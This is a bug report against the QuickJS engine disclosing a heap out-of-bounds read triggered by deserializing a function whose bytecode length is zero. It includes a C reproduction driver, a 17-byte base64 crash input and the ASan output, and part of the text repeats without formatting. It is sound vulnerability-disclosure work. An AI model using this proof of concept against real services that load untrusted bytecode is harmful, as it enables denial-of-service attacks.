Describe the bug
JS_ReadFunctionTag accepts a function whose declared byte_code_len is 0: the fixed header fields parse fine, no bytecode bytes are copied, and byte_code_buf points at the end of the 104-byte allocation. JS_EvalFunction then instantiates and executes the value; JS_CallInternal (quickjs.c:17878) starts the interpreter with pc = b->byte_code_buf and the first opcode fetch (SWITCH(pc)) reads *pc — 1 byte past the end of the heap buffer.
It's different from #547 and #549
To Reproduce
-
Clone QuickJS and check out the affected commit:
git clone https://github.com/bellard/quickjs.git
cd quickjs
git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34c
-
Save the driver below as poc_driver.c and build with ASan:
gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl -o poc_driver
How the input is interpreted: the first byte of the POC selects the
JS_ReadObject flag combination (flags_tbl[first_byte % 6]); the remaining
bytes are the serialized bytecode/object stream passed to JS_ReadObject.
/*
* poc_driver.c - minimal PoC driver for QuickJS JS_ReadObject
* deserialization bugs. Byte-for-byte mirrors the fuzz harness (harness.c):
* the first byte of the input selects the JS_ReadObject flag combination,
* the remaining bytes are the serialized bytecode/object stream.
*
* Build with AddressSanitizer against a QuickJS checkout:
* gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c \
* libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl \
* -o poc_driver
* Run:
* ./poc_driver <poc.bin>
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "quickjs.h"
#include "quickjs-libc.h"
#include "cutils.h" /* FALSE/TRUE */
static int nb_interrupts;
static int interrupt_handler(JSRuntime *rt, void *opaque)
{
nb_interrupts++;
return (nb_interrupts > 100); /* abort runaway scripts */
}
int main(int argc, char **argv)
{
FILE *f;
long sz;
uint8_t *buf;
JSRuntime *rt;
JSContext *ctx;
JSValue obj, val;
static const int flags_tbl[] = {
0, /* plain object */
JS_READ_OBJ_BYTECODE, /* bytecode function */
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA,/* rom-data aliasing */
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_SAB,
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_REFERENCE,
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA |
JS_READ_OBJ_SAB | JS_READ_OBJ_REFERENCE,
};
if (argc < 2)
return 1;
f = fopen(argv[1], "rb");
if (!f)
return 1;
fseek(f, 0, SEEK_END);
sz = ftell(f);
fseek(f, 0, SEEK_SET);
buf = malloc((size_t)sz);
if (fread(buf, 1, (size_t)sz, f) != (size_t)sz)
return 1;
fclose(f);
rt = JS_NewRuntime();
ctx = JS_NewContext(rt);
JS_SetMemoryLimit(rt, 0x4000000); /* 64 MB, same as fuzz harness */
JS_SetMaxStackSize(rt, 0x10000); /* 64 KB */
JS_SetInterruptHandler(rt, interrupt_handler, NULL);
/* First byte selects flags; the rest is the serialized stream. */
obj = JS_ReadObject(ctx, buf + 1, (size_t)sz - 1, flags_tbl[buf[0] % 6]);
if (JS_IsException(obj)) {
JS_FreeValue(ctx, JS_GetException(ctx));
return 0;
}
/* Execute the deserialized bytecode if it is a module/function. */
if (JS_VALUE_GET_TAG(obj) == JS_TAG_MODULE) {
if (JS_ResolveModule(ctx, obj) < 0) {
JS_FreeValue(ctx, obj);
JS_FreeValue(ctx, JS_GetException(ctx));
return 0;
}
js_module_set_import_meta(ctx, obj, FALSE, TRUE);
}
val = JS_EvalFunction(ctx, obj);
if (JS_IsException(val))
JS_FreeValue(ctx, JS_GetException(ctx));
else
JS_FreeValue(ctx, val);
return 0;
}
-
Write the exact 17-byte POC. The base64 string below round-trips to the byte-identical crash input:
printf 'AQUADAAAAAAAAAABAAAAAAA=' | base64 -d > poc.bin
-
Run it:
ASan output:
==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
SUMMARY: AddressSanitizer: heap-buffer-overflow .../quickjs.c:17878 in JS_CallInternal
Exit code 1.
Expected behavior
A function with zero bytecode length should be rejected during deserialization (or its execution should not fetch an opcode).
Screenshots
N/A
Please complete the following information:
- OS: Linux x86-64 (Ubuntu 22.04)
- QuickJS version: 2026-06-04 (commit
04be246001599f5995fa2f2d8c91a0f198d3f34c)
Additional context
- Deterministic: yes — the same 17-byte input always triggers the ASan report (verified 5/5 runs).
- Reachability: the public
JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE) API deserializes attacker-controlled bytecode; JS_EvalFunction then executes it.
- Severity: medium (1-byte OOB read, DoS) (CWE-125).
- CWE: CWE-125.
Describe the bug
JS_ReadFunctionTagaccepts a function whose declaredbyte_code_lenis 0: the fixed header fields parse fine, no bytecode bytes are copied, andbyte_code_bufpoints at the end of the 104-byte allocation.JS_EvalFunctionthen instantiates and executes the value;JS_CallInternal(quickjs.c:17878) starts the interpreter withpc = b->byte_code_bufand the first opcode fetch (SWITCH(pc)) reads*pc— 1 byte past the end of the heap buffer.It's different from #547 and #549
To Reproduce
Clone QuickJS and check out the affected commit:
git clone https://github.com/bellard/quickjs.git cd quickjs git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34cSave the driver below as
poc_driver.cand build with ASan:How the input is interpreted: the first byte of the POC selects the
JS_ReadObjectflag combination (flags_tbl[first_byte % 6]); the remainingbytes are the serialized bytecode/object stream passed to
JS_ReadObject.Write the exact 17-byte POC. The base64 string below round-trips to the byte-identical crash input:
Run it:
ASan output:
Exit code 1.
Expected behavior
A function with zero bytecode length should be rejected during deserialization (or its execution should not fetch an opcode).
Screenshots
N/A
Please complete the following information:
04be246001599f5995fa2f2d8c91a0f198d3f34c)Additional context
JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE)API deserializes attacker-controlled bytecode;JS_EvalFunctionthen executes it.